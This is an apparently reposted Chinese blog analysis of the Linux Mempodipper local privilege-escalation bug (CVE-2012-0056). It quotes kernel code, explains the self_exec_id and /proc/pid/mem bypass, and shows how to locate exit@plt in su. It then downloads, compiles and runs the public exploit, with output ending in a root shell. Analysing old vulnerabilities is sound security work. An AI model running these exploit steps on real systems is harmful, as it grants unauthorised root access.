Linux>=2.6.39 Mempodipper本地提权分析和EXP利用(CVE-2012-0056)

Linux>=2.6.39 Mempodipper本地提权分析和EXP利用(CVE-2012-0056)
/proc/pid/mem是一个用于读取和写入,直接通过各地寻求与相同的地址作为该进程的虚拟内存空间进程内存的接口。

影响Linux 内核> = 2.6.39
当打开/proc/pid/mem时,会调用此内核代码:

复制代码

代码如下:

static int mem_open(struct inode* inode, struct file* file)
{
file->private_data = (void*)((long)current->self_exec_id);
file->f_mode |= FMODE_UNSIGNED_OFFSET;
return 0;
}

任何人都可以打开/proc/pid/mem fd 的任何进程写入 和读取,不过,有权限检查限制。让我们看看写功能:

复制代码

代码如下:

static ssize_t mem_write(struct file * file, const char __user *buf,
size_t count, loff_t *ppos)
{
struct task_struct *task = get_proc_task(file->f_path.dentry->d_inode);
mm = check_mem_permission(task);
copied = PTR_ERR(mm);
if (IS_ERR(mm))
goto out_free;
if (file->private_data != (void *)((long)current->self_exec_id))
goto out_mm;

看代码有两个检查,以防止未经授权的写操作:

复制代码

代码如下:

check_mem_permission和self_exec_id。
Check_mem_permission的代码只需调用到__check_mem_permission,代码:
static struct mm_struct *__check_mem_permission(struct task_struct *task)
{
struct mm_struct *mm;
mm = get_task_mm(task);
if (!mm)
return ERR_PTR(-EINVAL);
if (task == current)
return mm;
if (task_is_stopped_or_traced(task)) {
int match;
rcu_read_lock();
match = (ptrace_parent(task) == current);
rcu_read_unlock();
if (match && ptrace_may_access(task, PTRACE_MODE_ATTACH))
return mm;
}
mmput(mm);
return ERR_PTR(-EPERM);
}

有两种方法能对内存写入。

复制代码

代码如下:

$ su "hsmw fuck you"
Unknown id: hsmw fuck you
可以看到su的stderr 的输出“Unknown id:”,我们可以fd 打开/proc/self/mem, 来确定在内存中的位置, 然后dup2 stderr 和mem fd, 把su $shellcode 写入到内存中,获得root.
已task == current测试, 用self_exec_id 匹配self_exec_id 来检测fd 的打开。
Self_exec_id在内核中只引用的少数几个地方。
void setup_new_exec(struct linux_binprm * bprm)
{
current->self_exec_id++;
flush_signal_handlers(current, 0);
flush_old_files(current->files);
}
EXPORT_SYMBOL(setup_new_exec);

我们创建一个子进程,用self_exec_id来exec 到一个新的进程里面。当我们exec一个新的进程,self_exec_id会产生一个增量。这里程序忙与execing到我们的shellcode写su,所以其self_exec_id得到 相同的值递增。所以我们要做的是把exec一个新的进程,fd /proc/parent-pid/mem 到父进程的PID。这个时候的FD是因为没有权限仅仅打开检查。当它被打开,其self_exec_id来时起作用,把我们exec来su,用self_exec_id将递增。通过我们打开的FD从子进程返回父进程,dup2,和exec 溢出代码到su.
接下来调试溢出的地址和ASLR随机进程的空间地址。
在这里得到错误字符串:
403677: ba 05 00 00 00 mov $0x5,%edx
40367c: be ff 64 40 00 mov $0x4064ff,%esi
403681: 31 ff xor %edi,%edi
403683: e8 e0 ed ff ff callq 402468 (dcgettext@plt)
然后把它写入到stderr:
403688: 48 8b 3d 59 51 20 00 mov 0x205159(%rip),%rdi # 6087e8 (stderr)
40368f: 48 89 c2 mov %rax,%rdx
403692: b9 20 88 60 00 mov $0x608820,%ecx
403697: be 01 00 00 00 mov $0x1,%esi
40369c: 31 c0 xor %eax,%eax
40369e: e8 75 ea ff ff callq 402118 (__fprintf_chk@plt)
关闭日志;
4036a3: e8 f0 eb ff ff callq 402298 (closelog@plt)
退出程序;
4036a8: bf 01 00 00 00 mov $0x1,%edi
4036ad: e8 c6 ea ff ff callq 402178 (exit@plt)
这里可以看到0×402178,这是它调用exit函数。我们来调试“Unknown id:" 的shellcode地址。
$objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*/([^0]*/)/0x/1/' 0x402178
它会设置uid 和gid 为0 去执行一个SHELL。还可以重新打开dup2ing 内存之前,stderr fd 到stderr,
我们选择另一个fd dup stderr,在shellcode,到我们dup2 ,其他fd回来到stderr。
EXP 老外写好了。插入一段

复制代码

代码如下:

wget http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c
CVE-2012-0056 $ ls
build-and-run-exploit.sh build-and-run-shellcode.sh mempodipper.c shellcode-32.s shellcode-64.s
CVE-2012-0056 $ gcc mempodipper.c -o mempodipper
CVE-2012-0056 $ ./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/6454/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x402178.
[+] Seeking to offset 0x40216c.
[+] Executing su with shellcode.
sh-4.2# whoami
root
sh-4.2#

摘自 混世魔王博客

(0)

相关推荐

  • 安全漏洞:Chkrootkit 0.49 本地提权漏洞的测试方法

    Chkrootkit <=0.49 Local Root Vulnerability:小于等于0.49版的chrootkit本地提权漏洞。先来演示下吧: 可以查看自己安装的是不是升到最新版了,或 ...

  • linux入侵提权(服务器提权)方法

    利用mysql root提权方法 mysql 5.x里面引入了一个system函数,这个函数可以执行系统命令,当mysql以root登陆的时候,就可以利用这个函数执行命令,当然是在权限许可的 范围内。 ...

  • navicat提权的两个方法(注册表+星号查看器)

    navicat成功提权的两个方法: 1、日志里找密码,navicat会把操作日志保存到My Documents/Navicat/MySQL/logs下的LogHistory.txt,低版本是安装目录下 ...

  • 超简单U8800手机root提权方法

    这里要说一下,比较简单的有两种root方法,一种是z4,最简单的,会装APK的都会用;但是不能保证百分百成功; 另外一个是下面讲的通过recovery模式,要配合按键选择,并且有E文,优点是通用性强, ...

  • LINUX下的文件结构介绍

    /bin 二进制可执行命令 /dev 设备特殊文件 /etc 系统管理和配置文件 /etc/rc.d 启动的配置文件和脚本 /home 用户主目录的基点,比如用户user的主目录就是/home/use ...

  • Linux修改fstab文件后 系统无法启动的解决方法

    想来想做的是在Linux下修改自动挂载 /dev/sda5到 /u01,修改成/dev/sda5 /weblogic,于是把fstab文件中/u01修改成了/weblogic,于是悲剧就发生了,启动时 ...

  • Windows 2003 中没有“本地用户和组

    Windows 2003 中没有"本地用户和组" 一般服务器或者vps上偶尔遇到,下面有几个方法,先用第三个方法试试 操作方法 01 1.命令行打开 Windows 2003 的『 ...

  • linux系统中scp命令的使用介绍

    scp命令的用处: scp在网络上不同的主机之间复制文件,它使用ssh安全协议传输数据,具有和ssh一样的验证机制,从而安全的远程拷贝文件。 scp命令基本格式: scp [-1246BCpqrv] ...

  • Linux根目录下主要目录功能说明

    /bin:存放最常用命令; /boot:启动Linux的核心文件; /dev:设备文件; /etc:存放各种配置文件; /home:用户主目录; /lib:系统最基本的动态链接共享库; /mnt:一般 ...